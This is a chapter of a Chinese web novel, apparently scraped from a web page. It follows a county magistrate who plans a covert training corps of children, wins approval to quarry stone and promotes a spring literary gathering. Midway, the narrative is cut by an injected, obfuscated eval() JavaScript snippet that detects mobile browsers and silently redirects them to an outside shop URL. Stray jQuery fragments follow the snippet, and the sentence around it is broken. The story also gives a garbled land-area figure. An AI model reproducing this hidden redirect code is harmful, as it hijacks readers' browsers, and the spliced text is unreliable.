秋红松了口气,将注意力重新放到蓝淑写的训练方案上,“大人是想要一直令行禁止,还能具备潜藏收集情报的队伍?”
“嗯,有时候大概还需要帮着救人什么的。”
霁清补充了一条。
蓝淑挑眉。
霁清主要是考虑到现在的朝堂斗争实在是太激烈了,所以她需要多准备一些。
秋红明白了,“可以直接从县里选七岁以下的孩子来训练,只要三年的时间,就可以出师了。”
霁清讶异,“三年?”
“对,三年。”
霁清点点头,“那行,你和蓝淑商量吧,不过日常服役的事儿,你也不能放下。”
她现在可没有条件让她直接在县衙里优哉游哉地训练人。
每个人都要一起上!
秋红笑,“我知道,大人,我不会丢下服役的事儿的。”
只要是大人说的,她就一定会做到。
她已经明白了大人所说的意义是什么了。
别人的意义她不知道,她的意义就是大人!
霁清微微颔首,让她和蓝淑先去商量好一个方案过来,她则继续埋头画图,算账。
配方她已经写好了三个,到时候带着一起去州府就行了。
午膳的时候,她跟皎瑜交代了一声,便骑着马,带着周戈一起去了州府。
民兵的事儿,虽然一直在推进,可因为春耕等的事儿,多少是有些耽搁了,所以周戈现在基本上是跟着她更多。
马忠他们则全都需要留在县衙内负责其他的事儿。
霁清觉得还是需要增加人口。
尤其是那些被裹挟着上山的匪众们,从他们当中选一些典型,嘉奖对方一家,从罪籍中脱离出来,应该就能解决一部分人口的问题了。
再加上她之后储粮,储备各项物资,就能保证明年县衙新生儿都能活下来。
这几天都在下雨,他们也顾不上会不会遭遇泥石流了,必须赶在这个时候去一趟州府,拿到州府的许可,才能在天晴的时候快速开采石料。
*
定远城州府衙门
乔维翰拆开从京中送来的信笺,快速地扫了一眼,微微一笑,“大人这番述职,应该不会有什么问题了。”
柳师爷笑,“那看来,绥安县的知县还是陛下先前的旨意。”
乔维翰点头,“是啊,我先前还跟长兄说过,让他静观其变便可,没想到,他还是凑了一下热闹。”
柳师爷含笑道,“大老爷还是免不了担心您。”
乔维翰叹气,“是啊,可我是真不想再进京折腾了。”
二十年啊,镇国亲王既然会跟冯大人有了这般默契,真是让人意外啊!
独孤霁清,你真的能在二十年内进京吗?
柳师爷却不知道乔维翰已经想到那么远了,“大人,府试的结果出来了。”
“哦?陈铭初过了吗?”
“过了。”
乔维翰让柳师爷将陈铭初写的卷子拿过来看过,点点头,“嗯,不错,策论写得很好。”
总算是懂怎么锦上添花了。
柳师爷忍笑,“陈大人还在州府忙呢。”
乔维翰挑眉,“哦?他忙什么?”
“忙着给安远县采买各种东西,尤其是石料。”
要不是独孤大人背靠着任怀商行,这个时候想要源源不断地采买到石料还真是不容易。
乔维翰却笑笑道,“那看来,独孤霁清也快来了。”
柳师爷讶异,“独孤大人要亲自来?”
乔维翰抚须含笑道,“你觉得,她那个貔貅性子,会一直采买?”
除非安远县实在找不到石料,不然,她才不会一直花钱呢。
柳师爷沉默了:谁能想到,人家是真敢拿着两位大人写下的欠条来州府衙门要账啊!
不过这段时间,安远县的牧饼确实是很畅销,来来往往的商队不断,光是沿途上的那些茶棚,客栈都赚不少了。
“独孤大人确实是很有急智。”
可牧饼卖完了之后,安远县又该如何呢?
又该如何?
霁清早就想好了,所以出门前,她就写了厚厚一叠的请柬,邀请州府内的府学学子们,以及各路乡绅,都来参加四月十八的踏青文会!
她也早就提前啃了很久的《韵律诗规》,就是为了到时候能够不丢了她这个六元及第的第一科女状元的脸!
不能再用打油诗去糊弄了!
就连出门,她都提前抄了一本《韵律诗规》,路上休息的时候,一边跟茶棚,客栈的跑堂和百姓们聊一下生意如何,客人如何,一边背着。
没办法,她作诗真的没有多少天赋,只求能在韵律韵辙中就行了。
一路快马加鞭,她和周戈在第三天到了州府,时间已经来到了三月二十一了。
正好陈县丞带着车队要回去,两拨人就在城门口碰见了。
霁清勒马停下,陈县丞讶异,“大人,您怎么来了?”
“我来找州牧大人,请求他允准我们在县内自己开采石料。”
陈县丞明白了,“大人,那我等您?”
霁清摆手,“不必,你们先行,一会我再追上你们。”
“好。”
两拨人就分开了,霁清带着周戈去到府衙求见萧宗珩,但罗有丰却告知她,“州牧大人已经回京述职了。”
霁清抬手拍了下额头,“是了,我竟是忘了。”
罗有丰道,“现在府衙的事务都由州丞大人负责,独孤大人,要属下给您去禀报吗?”
霁清点头,“有劳了。”
“大人客气。”
罗有丰去找了乔维翰,乔维翰点点头,“让她过来吧。”
“是,大人。”
霁清和周戈一路跟着罗有丰进来,行礼,递上自己的《奏详》。
乔维翰接过,翻看看了看,眉头微挑,“你这是要自己开采石料?”
“是,大人。”
“你在《奏详》上写的几个开采方案,里面的配方可属实?”
“大人可找人验证。这几个配方尽皆属实。”
乔维翰点点头,“行,就按照你上面写的,每个月最多只能开采十万斤的石料。”
霁清立马高兴地行礼,“多谢大人。”
乔维翰没好气,签下核准的字,再盖上官印,让文书抄录了一份存档,就将原件交还给霁清,道,“行了,你也忙,回去吧。”
霁清立马从怀中掏出请柬,“大人,这是下官准备的四月踏青文会,还请大人拨冗前来。”
说着就恭敬地递上她亲手写的请柬。
乔维翰讶异,柳师爷接过递给他。
看过后,乔维翰挑眉道,“你倒是巧思。”
竟然竟一个她苦心经营的据点搞成了温泉山庄,还大张旗鼓地让人过去参观游玩?
真是……果然是属貔貅的!
乔维翰淡淡道,“我就不去了,不过我会让人过去看看的。”
“是,大人,多谢大人赏光。下官告退。”
霁清再次恭敬行礼,又接过已经批复了的《奏详》,便带着周戈走了。
出了府衙之后,她将请柬交给了罗有丰,“罗捕头,我觉得,这些请柬由你派发最为合适。”
罗有丰看着最上面的一张是给罗族长的,还有什么不明白的?
他目光复杂地接过请柬,“大人放心,属下定会派发到各家。”
霁清笑笑,拿着给府学的那一叠请柬去了府学,交给了学监。
定远州府学学监:……
啧,果然百闻不如一见,这位独孤大人真是……煞费苦心!
不过他还是接下了那一叠请柬,并交给底下的人都通知下去,有兴趣的都可以来他这里登记领请柬,并且还能带一个人过去。
如此,霁清交给对方的二十张请柬,就能最少去四十个人了。
不过霁清还是承诺:会在八月来府学这里讲学一次。
学监也就无所谓了。
反正怎么算,都是他赚了。
*
重新快马加鞭地追上了陈县丞,上了他的马车,跟他说了这段时间以来的事儿。
“大人,您是说,暗一他们的统领都来了?”
霁清颔首,“你回去后不必惊讶,她身上有蛊王,也只有她才能控制,只要如常对待就行了。”
陈县丞明白了,但心底还是忍不住腹诽一句:自从大人来了,那日子真是过得太刺激了!
连只在传说中的蛊王,他都有机会可以见到。
“大人,那以后我们自己开采石料了,是不是就能减少再采买了?”
霁清摇头,“不,我打算直接花钱请人来修。”
石料该买还是要买,但是开采也要开始。
这样才能加快他们的建设速度,不然的话,光靠他们县里的这点人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787043|206090||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,真是怎么都干不完。
陈县丞拧眉,“可是这样一来,县衙的支出就会加大。”
是不是太肆无忌惮了些啊?
霁清笑,“无妨,我们也就这两年能安生些了,再拖下去,恐怕又有人会来找我们的麻烦。”
更重要的是,“绥安县的知县任命还没下来,谁知道之后会如何呢?”
“还是早做准备的好。”
陈县丞点头,“我明白了,大人。”
“对了,你这次府试过了吗?”
“过了,大人。”
陈县丞提起这个就笑,“还要多谢大人。”
霁清笑,“过了就好,之后你就能继续考上去了。”
陈县丞愣住,“大人?!”
霁清含笑道,“我和皎瑜以后很有可能要走的,而你,若是考不上进士,那你也不可能接替我的位置。”
以前一个童生身份,陈县丞或许还能接替周世安短暂当安远县的知县,以后可不行了。
毕竟有了她,安远未来,不管改变了多少,都会成为朝堂中争斗的中心,他若只是一个秀才的功名,上面的那些人可有的是理由换掉他!
霁清认真地看着陈铭初,“陈大人,我希望你能明白,你已经入局了。”
从阿月来到这里开始,到她来了,已然注定陈铭初的未来:他只有两个选择,要么归于她这一派,要么就是投靠其他派系。
安远县,也无法再回到过去那般,无人问津。
陈铭初沉默,好一会才点头,行礼道,“大人,下官明白了。”
霁清颔首,“我们先将这次的踏青文会办好了再说。”
“是,大人。”
一行人加快速度回到安远县,天气已经转晴。
霁清再次带着全县上下,继续建设工程!
官田那边也有一部分秧苗被冲坏的,霁清就也亲自带着人下地,补苗。
官田其实很大,足足有十顷,这里的一顷是一百亩,十顷地就是一千亩了。
而这里的一亩地是整500米×500米的正方形平面,所以这一千亩就非常可观。
几乎是连绵整个县城的郊外。
霁清规划的未来安远县的城墙,其实是将这些官田都纳入其中的。
只是现在还没有修建到这里,才暂时还属于是郊外罢了。
这个工程真的很大,哪怕是钟石匠和王工头两人都觉得头疼,但大人说要修,他们就必须要将城墙修起来。
好在,这部分地形没有什么山之类的,都是平原,修建起来还是具备地理优势的。
至于说,霁清后来扩城的规划图,两人都选择忽略:谁家好人会在山里修城墙?
那不是丧心病狂吗?
还要将整个安远县境域全都囊括在内,两人表示:修吧,修到他们死了,儿子接着修都未必能修完!
呵!
所以那份扩城图纸就等于废纸,两人根本不用看!
霁清自然知道这在目前是不现实的。
但现在不现实,不代表以后啊!
规划这东西,肯定是需要提前,对吧。
所以她还是坚持让他们收好那份图纸,自己也在县衙里留档了,以后就交给陈铭初他们,让他们继续按照这份图纸扩下去!
秋红和蓝淑商量好了如何培训安远县的潜渊司——本来秋红和蓝淑都还是打算叫暗卫司的,但霁清不同意,就改成了潜渊司。
两人将培训方案商量好了之后,给霁清和陈铭初,皎瑜,范砚瑜,卓箐,乔成安都看过后,就定下了,开始在县里挑人。
男女不限,五岁以上,七岁以下的孩子都能来参与选拔。
而本来山葵日常的习武是皎瑜和霁清抽空教的,这一次也都交给秋红了。
山葵:……
大人,您还真放心啊?
秋红却笑得十分温和,“放心,我会好好照顾你的。”
这可是大人身边的人,她可不能轻忽对待,一定会倾囊相授的!
县里的百姓现在是格外信任霁清,无他,霁清在所有的牧饼都订出去后,扣除了后续需要支出的费用后,又给他们每户分了一百个大钱!
霁清笑眯眯:看吧,时不时的奖励,就能激发他们的动力!
而她也能将售卖牧饼=分钱,这样的观念润物细无声地灌输进百姓的心中,以后就算是遇到了哪一位知县做不到,那百姓们都会教他们做人的!